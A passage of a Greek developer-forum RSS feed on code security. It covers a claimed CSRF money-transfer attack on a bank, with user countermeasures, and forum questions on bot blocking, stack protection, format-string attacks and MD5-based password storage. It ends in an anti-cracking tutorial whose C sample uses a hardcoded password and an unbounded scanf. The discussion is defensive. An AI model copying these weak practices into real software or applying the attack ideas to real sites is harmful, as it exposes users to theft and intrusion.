όμως ΠΑΡΑ ΠΟΛΥ &lt;a href="http://www.darkreading.com/risk/csrf-vulnerability-a-sleeping-giant/d/d-id/1128371"&gt;επικίνδυνη&lt;/a&gt;!&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;Οφείλουμε να ειδοποιήσουμε όλους όσους διαβάσουν αυτό το
άρθρο ότι τα παράδειγμα μας ήταν εντελώς αληθινά και δυστυχώς δεν περιορίζονταν
μόνο σε μικρά forums. Ο στόχος μας όμως είναι η γνώση για την προφύλαξη και όχι
για την επίθεση! Όσοι έχουν πρόσβαση σε μεγάλους οργανισμούς ή εταιρίες ας
πονηρευτούν. &lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;Η παρακάτω εικόνα (ελπίζω αρκετά καλά κρυμένη) δείχνει την
υλοποίηση μιας επιτυχημένης επίθεσης σε Web Banking μεγάλης Ελληνικής Τράπεζας
με αποτέλεσμα την μεταφορά χρημάτων από ένα λογ/μό σε ένα άλλο, χωρίς την...
συγκατάθεση του χρήστη! &lt;/span&gt;&lt;/p&gt;

&lt;img src="https://farm1.staticflickr.com/610/22086681365_ee1cb8161a_b.jpg"&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Φυσικά δεν θα ήθελα να περιμένει κάποιος
να δείξουμε συγκεκριμένες λεπτομέρειες από την συγκεκριμένη επίθεση, αν και δεν
διαφέρει σε τίποτα (σε μεθοδολογία) από αυτές που ήδη παρουσιάστηκαν. Η
συγκεκριμένη επίθεση μετέφερε 11€ από ένα λογαριασμό (πηγή) σε ένα άλλο
λογαριασμό (στόχο). Μάλιστα πριν γίνει η ανορθόδοξη μεταφορά (μέσω της
επίθεσης) έγινε μια κανονική μεταφορά (10€) από τον ίδια πηγή στον ίδιο στόχο.
Όπως βλέπετε η κινήσεις στον λογ/μό στόχο δεν φαίνεται να έχουν καμιά
διαφορά... Αναφέρονται σαν 2 απλές καταθέσεις. &lt;/span&gt;&lt;/p&gt;

&lt;h2&gt;Αντίμετρα&lt;/h2&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Λάβετε σοβαρά υπ’ όψη αυτήν την αδυναμία
και (για αρχή) σαν χρήστες κάντε τα παρακάτω:&lt;/span&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;mso-list:l1 level1 lfo2;mso-hyphenate:auto;tab-stops:list 36.0pt;"&gt;Να μην
     αφήνετε ανοιχτό το session σε ένα ευαίσθητο site που είστε γραμμένοι. Με
     απλά λόγια, όταν τελειώνετε τις εργασίες σας να κάνετε πάντα logout,
     «έξοδος χρήστη» ή όπως αλλιώς λέγεται στο κάθε site ώστε να διαγράφονται
     τα session cookies.&lt;/li&gt;

&lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;mso-list:l1 level1 lfo2;mso-hyphenate:auto;tab-stops:list 36.0pt;"&gt;Να
     χρησιμοποιείτε έναν internet browser που να εκτελείτε τις οικονομικές σας
     συναλλαγές και γενικά που διαχειρίζεστε προσωπικά δεδομένα και έναν άλλον
     internet browser που θα είστε σε sites χαμηλής ή / και αμφιβόλου
     αξιοπιστίας.&lt;/li&gt;

&lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;mso-list:l1 level1 lfo2;mso-hyphenate:auto;tab-stops:list 36.0pt;"&gt;Να &lt;u&gt;ΜΗΝ&lt;/u&gt;
     ανοίγετε και να &lt;u&gt;ΜΗΝ&lt;/u&gt; εμπιστεύεστε ότι mail ή link σας δώσει κάποιος.
     Ακόμα κι αν αυτός σας είναι απόλυτα έμπιστος. Εν ανάγκη κάντε το copy και
     ανοίχτε το στον άλλον internet browser.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt;Στον &lt;/span&gt;&lt;span&gt;internet&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;b&gt;&lt;i&gt;&lt;span style="mso-ansi-language:EL;"&gt; γενικότερα να μην έχετε εμπιστοσύνη ούτε στον
ίδιο σας τον εαυτό διότι ενίοτε μπορεί να είναι κάποιος... άλλος!&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style="mso-ansi-language:EL;"&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Spam/Malicious Bot blocking στον IIS</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/63813.aspx</link><pubDate>Mon, 28 Feb 2011 05:23:23 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:63813</guid><dc:creator>vlinakis</dc:creator><slash:comments>8</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/63813.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=63813</wfw:commentRss><description>Καλησπέρα σε όλους,&lt;br&gt;&lt;br&gt;Έχω ένα ερώτημα το οποίο δεν είναι αμιγώς θέμα Code Security αλλά υποθέτω ότι κάποιοι από όσους διαβάζουν ίσως έχουν κάποιες συμβουλές να μου δώσουν.&lt;br&gt;&lt;br&gt;Πρόσφατα φαίνεται ότι ένας από τους shared hosting servers που έχω για να φιλοξενώ sites πελατών μου έχει γίνει δέκτης κάποιων επιθέσεων. Πρόκειται για μια δική μου εικασία η οποία βασίζεται στα στοιχεία που έχω στα χέρια μου. &lt;br&gt;&lt;br&gt;Στα περισσότερα από τα sites που έχω επάνω στον server έχω έναν script-based error handling μηχανισμό ο οποίος με ειδοποιεί με email όποτε προκαλείται ένα 500-αρι error. Τις τελευταίες μέρες έχω πάρει πολλά τέτοια emails από πολλά από τα sites που έχω επάνω στον συγκεκριμένο server. Γνωρίζω σίγουρα ότι δεν πρόκειται για πραγματικά errors από legitimate users διότι έχουνε ελλειπή στεία ως προς τις συνθήκες κάτω από τις οποίες προκλήθηκε το σφάλμα. Σε πολλά από τα emails που λαμβάνω φαίνεται ως user agent ο "&lt;b&gt;libwww-perl&lt;/b&gt;". Διαβάζοντας στο internet έπεσα πάνω σε αρκετές αναφορές σχετικά με κάποια malicious bots που κυκλοφορούν με αυτόν τον user agent.&lt;br&gt;&lt;br&gt;Η ερωτήσεις μου είναι:&lt;br&gt;- Μπορώ με κάποιο τρόπο κεντρικά στον IIS (7.5) να μπλοκάρω ορισμένα bots; &lt;br&gt;- Αν όχι, τότε θα μπορούσα ίσως να το κάνω μέσω robots.txt σε κάθε ένα από τα sites ξεχωριστά;&lt;br&gt;- Σκέφτομαι να μπλοκάρω και κάποιες IP αλλά αυτές αλλάζουν συνεχώς. Μάλλον δεν έχει νόημα να κάνω κάτι τέτοιο.&lt;br&gt;&lt;br&gt;Υπάρχει καμιά άλλη ιδέα/συμβουλή;&lt;br&gt;&lt;br&gt;Ευχαριστώ,&lt;br&gt;Βασίλης &lt;br&gt;</description></item><item><title>Ασφαλεια σε  Client Server </title><link>https://www.dotnetzone.gr:443/cs/forums/thread/60880.aspx</link><pubDate>Mon, 15 Nov 2010 06:11:55 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:60880</guid><dc:creator>ntaryl</dc:creator><slash:comments>2</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/60880.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=60880</wfw:commentRss><description>&lt;p&gt;καλησπερα  &lt;/p&gt;&lt;p&gt;Εχω φτιαξει  μια  εφαρμογουλα  Client Server σε visual  basic  6&lt;/p&gt;&lt;p&gt;Επειδη ο Server μπορει  να αλλαχτει  η να ξαναρυθμιστει  μονο απο τον Clientr .Μου ειχε καρφωθει  να βρω εναν  τροπο ωστε να  μην μπορει ο καθενας που  ειχε το client κομματι να μπορει να αλλαξει κατι στον Server..&lt;/p&gt;&lt;p&gt;Φυσικα  η συνδεση μεταξυ τους γινεται επειτα  απο επιβεβαιωση συνθηματικων ..&lt;/p&gt;&lt;p&gt;Στο μυαλο μου  υπηρχε και το ενδεχομενο οτι καποιος  μπορει να ειχε το Default συνθηματικο και εχοντας στην κατοχη του ενα client να μπορει να συνδεθει σε  καποιον Server και να  το αλλαξει....&lt;/p&gt;&lt;p&gt;Διαβαζοντας απο εδω και απο εκει  τελικα αποφασισα  να δημιουργησω ενα κλειδι στον client και οταν παμε να   δημιουργησουμε ενα  Server τοτε να αποθηκευετε μεσα σε αυτον το κλειδι ....Το κλειδι πρεπει να ειναι ενα και μοναδικο(χρησιμοποιω το Σειριακο του πρωτου δισκου και το UserName )Το  κλειδι αποθηκευετε απο την μερια του client (κωδικοποιημενος με AES και με μοναδικο password)σε ενα αρχειο bin .....Οταν λοιπον θελουμε να αλλαξουμε  κατι στο Server πρεπει το κλειδι να συμφωνει και στα δυο κομματια της εφαρμογης...&lt;/p&gt;&lt;p&gt;......&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;</description></item><item><title>Win 7 Stack protection feature...?</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/59718.aspx</link><pubDate>Tue, 24 Aug 2010 16:20:07 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:59718</guid><dc:creator>Thiseas</dc:creator><slash:comments>18</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/59718.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=59718</wfw:commentRss><description>&lt;span class="status-body"&gt;&lt;span class="status-content"&gt;&lt;span class="entry-content"&gt;Γιατί άραγε δεν δουλεύει το stack protection 
(_cookie_vars_ κλπ) στα Win 7 όταν το χρησιμοποιούμενο buffer είναι μικρότερο ή ίσο από 4
 bytes...?&lt;br&gt;Μην μου απαντήσετε "&lt;i&gt;Διότι με 4 bytes δεν μπορείς να περάσεις shellcode!&lt;/i&gt;" διότι θα σας πω οτι με 4 bytes μπορείς κάλιστα να κάνεις ανακατεύθνυση της RET address και αυτό είναι πολλές φορές αρκετό!&lt;img src="http://www.dotnetzone.gr/cs/emoticons/emotion-14.gif" alt="Devil" /&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;</description></item><item><title>Users passwords encryption</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/59628.aspx</link><pubDate>Wed, 04 Aug 2010 04:54:09 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:59628</guid><dc:creator>zeon</dc:creator><slash:comments>8</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/59628.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=59628</wfw:commentRss><description>Στο παρελθόν σε διάφορες asp.net εφαρμογές έχω εφαρμόσει μεθόδους για encryption και storing σε database passwords χρηστών, αλλά αυτές οι εφαρμογές ήταν σε επίπεδο intranet ή τέλος πάντων όχι τόσο μαζικές και τώρα υπάρχει αναγκαιότητα για asp.net εφαρμογή σε μεγάλο range χρηστών (βασικά σε όλο το διαδύκτιο) θα ήθελα κάποιος έμπειρος να μου πει την άποψή του αν με τα παρακάτω είμαι οκ ή τέλος πάντων σχετικά οκ.&lt;br&gt;Παίρνω το password που δίνει ο χρήστης και προσθέτω prefix και suffix. Εκτελώ md5 και αποθηκεύω αυτό που παίρνω. &lt;br&gt;Prefix και suffix μπορώ να βάλω με διάφορους τρόπους και ανάλογα με το record ίσως. &lt;br&gt;Το θέμα είναι πως μπορώ να έχω όσο το πιο δυνατόν "καλύτερα" suffix και prefix? Να μην μπορεί κάποιος να τα "μαντέψει/βρει"? Ή κάτι τέτοιο δεν χρειάζεται να με απασχολεί?&lt;br&gt;Και δεύτερον με αυτό τον τρόπο, μπορώ να κοιμάμαι σχεδόν ήσυχος?&lt;br&gt;Ποιες άλλες μεθόδους μπορώ να ακολουθήσω για ακόμα καλύτερη ασφάλεια? Να κάνω ας πούμε ανενεργό ένα χρήστη αν δοκιμάσει κάποιες φορές λάθος pass? &lt;br&gt;&lt;br&gt;Ευχαριστώ εκ των προτέρων&lt;br&gt;</description></item><item><title>reCAPTCHA asp.net plugin</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/59633.aspx</link><pubDate>Thu, 05 Aug 2010 13:51:19 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:59633</guid><dc:creator>zeon</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/59633.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=59633</wfw:commentRss><description>Έχει χρησιμοποιήσει κανείς αυτό το plugin? Είναι ασφαλές?&lt;br&gt;Ευχαριστώ εκ των προτέρων&lt;br&gt;</description></item><item><title>Χρήση format parameter %n σε printf στην C++ (VS2008)</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/57686.aspx</link><pubDate>Tue, 16 Mar 2010 00:18:04 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:57686</guid><dc:creator>Thiseas</dc:creator><slash:comments>3</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/57686.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=57686</wfw:commentRss><description>&lt;P&gt;Αναφέρεται από &lt;A href="http://weblogs.asp.net/george_v_reilly/archive/2007/02/06/printf-n.aspx"&gt;μερικούς&lt;/A&gt; οτι η παράμετρος %n της printf που γράφει σε συγκεκριμένη διεύθυνση μνήμης συγκεκγριμένες τιμές, έχει καταργηθεί από την Microsoft, αν και αναφέρεται μέσα στο &lt;A href="http://msdn.microsoft.com/en-us/library/hf4y5e3w.aspx"&gt;MSDN&lt;/A&gt;.&lt;/P&gt;&lt;P&gt;Πράγματι, κάνοντας χρήση της %n μέσα από προγράμματα C++ σε VS2005,2010 σε XP,Vista,7 το πρόγραμμα απλά κρασάρει στο runtime ενώ περνάει κανονικά compile. Ίδιο ακριβώς πρόγραμμα λειτουργεί μια χαρά σε linux περιβάλλον. Αυτο το λέω για να μην θεωρηθεί οτι γίνεται κακή χρήση της %n.&lt;/P&gt;&lt;P&gt;Από πλευράς security η παράμετρος %n έχει χρησιμοποιηθεί κατ' επανάληψη σε &lt;A href="http://en.wikipedia.org/wiki/Format_string_attack"&gt;Format String επιθέσεις&lt;/A&gt;.&lt;/P&gt;&lt;P&gt;Έχει χρησιμοποιήσει κανένας φίλος εδώ, &lt;STRONG&gt;&lt;U&gt;επιτυχώς&lt;/U&gt;&lt;/STRONG&gt; το %n σε printf, σε κάποιο από τα παραπάνω περιβάλλοντα (C++ σε VS2005,2010 σε XP,Vista,7)? &lt;BR&gt;Αν ναι, μήπως θα είχε την καλοσύνη να μας έδειχνε πώς ή αν έχει ακούσει οτι πράγματι έχει καταργηθεί?&lt;/P&gt;&lt;P&gt;&lt;BR&gt;&lt;/P&gt;&lt;P&gt;Thnx 4 your time! :)&lt;/P&gt;&lt;P&gt;&lt;BR&gt;&lt;/P&gt;</description></item><item><title>Τεχνικές Anti-Cracking (part II)</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/57586.aspx</link><pubDate>Wed, 10 Mar 2010 07:44:29 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:57586</guid><dc:creator>Thiseas</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/57586.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=57586</wfw:commentRss><description>Σύνδεση με τα προηγούμενα... ή αλλιώς «Previously in... Lost» ;-)&lt;br&gt;Στο προηγούμενο &lt;a href="http://www.dotnetzone.gr/cs/forums/thread/57477.aspx"&gt;part I - άρθρο&lt;/a&gt;, είχαμε ξεκινήσει μια αναφορά στους τρόπους με τους οποίους μπορούμε να κάνουμε το πρόγραμμα μας δύσκολο στο να παραβιαστεί από κάποιον cracker. Όταν λέμε να «παραβιαστεί» εννοούμε να μπορέσει κάποιος, π.χ. κάνοντας disassembly με κάποιον debugger, να διαβάσει, να καταλάβει και να προσπεράσει τις όποιες δικλείδες ασφαλείας βάλαμε για να μην χρησιμοποιηθεί το πρόγραμμα μας χωρίς την απαραίτητη δικαιοδοσία.&lt;br&gt;Τα βήματα που υποσχεθήκαμε να σας παρουσιάσουμε, για την υλοποίηση του παραπάνω στόχου, είναι τα παρακάτω:&lt;br&gt;1.&amp;nbsp;&amp;nbsp; &amp;nbsp;Τεχνικές Anti-Debugging.&lt;br&gt;2.&amp;nbsp;&amp;nbsp; &amp;nbsp;Μπέρδεμα του κώδικα ώστε να μην μπορεί να κατανοηθεί εύκολα (code obfuscation).&lt;br&gt;3.&amp;nbsp;&amp;nbsp; &amp;nbsp;Packing του εκτελέσιμου και self-encryption.&lt;br&gt;4.&amp;nbsp;&amp;nbsp; &amp;nbsp;Δημιουργία αλγόριθμου για την απόδειξη της γνησιότητας ενός serial number (serial number authentication).&lt;br&gt;Στο προηγούμενο άρθρο, αναφερθήκαμε στο βήμα 1, παρουσιάζοντας και αρκετό κώδικα για να μπορέσετε να τον χρησιμοποιήσετε κι εσείς. Σε αυτό το άρθρο θα «μιλήσουμε» για τα εξίσου σημαντικά βήματα 2,3 και 4. Ας ξεκινήσουμε...&lt;br&gt;&lt;br&gt;&lt;b&gt;Μπέρδεμα του κώδικα (code obfuscation)&lt;/b&gt;&lt;br&gt;Το μπέρδεμα του κώδικα (&lt;a href="http://is.gd/7IxS"&gt;http://is.gd/7IxS&lt;/a&gt;) είναι μια αρκετά παλιά τεχνική η οποία τον τελευταίο καιρό είναι της «μόδας» λόγω των VM-Executables (Virtual Machines) όπως είναι ο εκτελέσιμος κώδικας που «γεννάει» η Java ή η C# (βλέπε .Net Application Framework). Ο βασικός στόχος είναι να δημιουργηθεί ένα πρόγραμμα τόσο δύσκολο στην κατανόηση ώστε να αποθαρρύνει και τον πιο υπομονετικό cracker. Σε αυτό το άρθρο, θα επικεντρωθούμε στην δημιουργία ενός εκτελέσιμου του οποίου ο disassembly κώδικας θα οδηγεί σε ένα λαβύρινθο, που ακόμα κι ο ...Θησέας&amp;nbsp; θα τα εύρισκε «σκούρα»! Μπορείτε κάλιστα να ακολουθήσετε τις εμπορικές λύσεις που υπάρχουν πολλές ή μπορείτε να δείτε μια πολύ απλή προσέγγιση εδώ για να γίνει κατανοητή η βασική μεθοδολογία τους, οπότε συνεχίστε να διαβάζετε... ;-)&lt;br&gt;Πριν ξεκινήσουμε, θα πρέπει να έχουμε στο μυαλό μας μερικούς κανόνες που καλό θα ήτανε να προσπαθούμε να τηρούμε όταν θέλουμε να κρύψουμε πράγματα, από τους crackers.&lt;br&gt;&lt;br&gt;1.&amp;nbsp;&amp;nbsp; &amp;nbsp;Να μην υποτιμάμε τον «αντίπαλο». Οι crackers είναι κι αυτοί άνθρωποι, σαν κι εμάς!! Οπότε κι αυτοί διαβάζουν ότι κι εμείς και γνωρίζουν καλά τις τεχνικές code obfuscation. Έτσι, το κρύψιμο του κώδικα δεν θα πρέπει να γίνεται με... φανερό τρόπο!! Δηλαδή, θα πρέπει να προσέχουμε να μην κάνουμε το πρόγραμμα μας τέτοιο ώστε να «φωνάζει» και να λέει: «Ε! Εδώ, αυτό το κομμάτι που διαβάζεις το έχω κάνει επίτηδες δύσκολο, αλλά στην πραγματικότητα δεν κάνει τίποτε το ουσιαστικό, μπορείς να το κάνεις skip!!». Έτσι το μπέρδεμα του κώδικα καλό θα είναι να είναι διακριτικό, χωρίς «χυδαιότητες» (όπως συνήθιζε να γράφει κάποιος παλιός δάσκαλος - [1]).&lt;br&gt;2.&amp;nbsp;&amp;nbsp; &amp;nbsp;Να μην κρύβουμε μόνο το κομμάτι που έχει τον κώδικα που (ας πούμε) εξετάζει την γνησιότητα ενός serial-number, διότι είναι σαν να λέμε στον cracker, που να επικεντρωθεί. Το κρύψιμο θα πρέπει να γίνεται σε όλο τον κώδικα του προγράμματος μας και ομοιόμορφα.&lt;br&gt;3.&amp;nbsp;&amp;nbsp; &amp;nbsp;Φυσικά, να έχουμε πάντα μια καθαρή έκδοση του κώδικα του προγράμματος μας (clear sources), διότι μετά το κρύψιμο, η συντήρηση του θα είναι από πάρα πολύ δύσκολη έως αδύνατη.&lt;br&gt;4.&amp;nbsp;&amp;nbsp; &amp;nbsp;Στο κρύψιμο, να χρησιμοποιούμε οτιδήποτε θα μπορούσε να μπερδέψει τον cracker. Ένας καλός κανόνας είναι να βρούμε μια λίστα με οδηγίες για το πως γράφουμε ευανάγνωστο κώδικα, και να κάνουμε ακριβώς τα αντίθετα.&lt;br&gt;5.&amp;nbsp;&amp;nbsp; &amp;nbsp;Ο μπερδεμένος κώδικας να μην είναι εντελώς άχρηστος. Δηλαδή να μην μπορεί κάποιος να παραβλέψει τις εντολές του κάνοντας (ας πούμε ένα JMP - jump) σε μιά άλλη περιοχή, χωρίς συνέπειες. Θα πρέπει να χρησιμοποιούμε global μεταβλητές στις οποίες θα δίνουμε συγκεκριμένες τιμές μέσα σε κάποια συνάρτηση και αργότερα, πολύ αργότερα, θα εξετάζουμε αν αυτές οι μεταβλητές έχουνε τις τιμές που δώσαμε. Αν όχι, σημαίνει οτι κάποιος έχει... «πηδήξει» (με την «καλή» έννοια??) ένα μέρος του κώδικά μας.&lt;br&gt;6.&amp;nbsp;&amp;nbsp; &amp;nbsp;Πολλοί είναι αυτοί που λένε να μην γράφετε σχόλια, ή να μην στοιχίζετε σωστά τις εντολές έτσι ο κώδικας θα είναι πολύ δύσκολο να κατανοηθεί. Αυτό δεν είναι εντελώς λάθος, αλλά μόνο αν δίνετε και τον πηγαίο κώδικα και δεν θέλετε να κατανοηθεί πλήρως. Στην περίπτωση μας όμως, δεν ισχύει κάτι τέτοιο, μιας και τα σχόλια ή η στοίχιση δεν εισάγονται στο τελικό εκτελέσιμο αρχείο.&lt;br&gt;&lt;br&gt;Ας δούμε, λοιπόν, ένα παράδειγμα στην πράξη:&lt;br&gt;Έστω οτι έχουμε το ακόλουθο πρόγραμμα:&lt;br&gt;Ζητάμε από τον χρήστη ένα κωδικό και απαντάμε αν αυτός ο κωδικός είναι σωστός, συγκρίνοντας τον με κάποιον σταθερό, που έχουμε μέσα στο πρόγραμμά μας:&lt;br&gt;&lt;pre&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;#include&amp;lt;stdio.h&amp;gt;

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; checkCode(&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt; sCode[500]);

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; main(&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; argc, &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt; *argv[])
{
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt; sCode[500];
    
    printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Enter Code: "&lt;/span&gt;);
    scanf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"%s"&lt;/span&gt;, sCode);    
    
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (checkCode(sCode)){
        printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Correct!!\n"&lt;/span&gt;);
    }
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;else&lt;/span&gt;{
        printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Fail...!\n"&lt;/span&gt;);
    }    
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt; 0;
}

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; checkCode(&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt; sCode[500])
{
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt; (!strcmp(sCode,&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"aygoulaki"&lt;/span&gt;));
}&lt;/span&gt;&lt;/pre&gt;&lt;br&gt;Απ’ οτι βλέπουμε ο σωστός κωδικός είναι "aygoulaki"! Ας δούμε τώρα πως λειτουργεί ένας cracker όταν θα θελήσει να σπάσει των κωδικό μας, έχοντας μόνο το executable πρόγραμμα:&lt;br&gt;Τρέχει το πρόγραμμα με τον Olly Debugger και διαβάζοντας τον κώδικα ή ψάχνοντας με κάποιο τρόπο οδηγείται στην εντολή που κάνει τον έλεγχο για τον κωδικό. Εκεί, βάζει ένα break point και εκτελεί το πρόγραμμα δίνοτας για κωδικό κάτι άσχετο (πχ. «xeimwnas»). Στην είκόνα 1 φαίνονται τα... αποτελέσματα! Ο κωδικός μας είναι πιο ορατός κι από τον... ήλιο!&lt;br&gt;&lt;br&gt;&lt;img src="https://farm6.staticflickr.com/5694/22096216231_76faf4a889_b.jpg" height="497" width="864"&gt;&lt;br&gt;Εικόνα 1: Ο κωδικός φαίνεται στους καταχωρητές (επάνω δεξιά) αλλά και στην μνήμη (κάτω).&lt;br&gt;&lt;br&gt;Ας κρύψουμε όμως, λιγάκι των κώδικα για να δυσκολέψουμε το έργο του. Δείτε το παρακάτω πρόγραμμα που κάνει το ίδιο ακριβώς πράγμα:&lt;br&gt;&lt;pre&gt;&lt;span style="color:Black;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;#include&amp;lt;stdio.h&amp;gt;

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;#define&lt;/span&gt; K &lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"abcdefghijklmnopqrstuvwxyz"&lt;/span&gt;
&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; checkCode(&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt; sCode[500]);

&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; main(&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; argc, &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt; *argv[])
{
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt; sCode[500];
    
    printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Enter Code: "&lt;/span&gt;);
    scanf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"%s"&lt;/span&gt;, sCode);
    
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;if&lt;/span&gt; (checkCode(sCode)){
        printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Correct!\n"&lt;/span&gt;);
    }
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;else&lt;/span&gt;{
        printf(&lt;span style="font-family:Courier New;font-size:11px;font-weight:normal;"&gt;"Fail...!\n"&lt;/span&gt;);
    }
    
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt; 0;
}


&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;int&lt;/span&gt; checkCode(&lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;char&lt;/span&gt; sCode[500])
{
    &lt;span style="color:Blue;background-color:Transparent;font-family:Courier New;font-size:11px;font-weight:normal;"&gt;return&lt;/span&gt; ( sCode[ 0 ]==K[ 0 ]  &amp;amp;&amp;amp; sCode[ 1 ]==K[ 24 ] &amp;amp;&amp;amp;  
             sCode[ 2 ]==K[ 6 ]  &amp;amp;&amp;amp; sCode[ 3 ]==K[ 14 ] &amp;amp;&amp;amp;  
             sCode[ 4 ]==K[ 20 ] &amp;amp;&amp;amp; sCode[ 5 ]==K[ 11 ] &amp;amp;&amp;amp;  
             sCode[ 6 ]==K[ 0 ]  &amp;amp;&amp;amp; sCode[ 7 ]==K[ 10 ] &amp;amp;&amp;amp;  
             sCode[ 8 ]==K[ 8 ] );
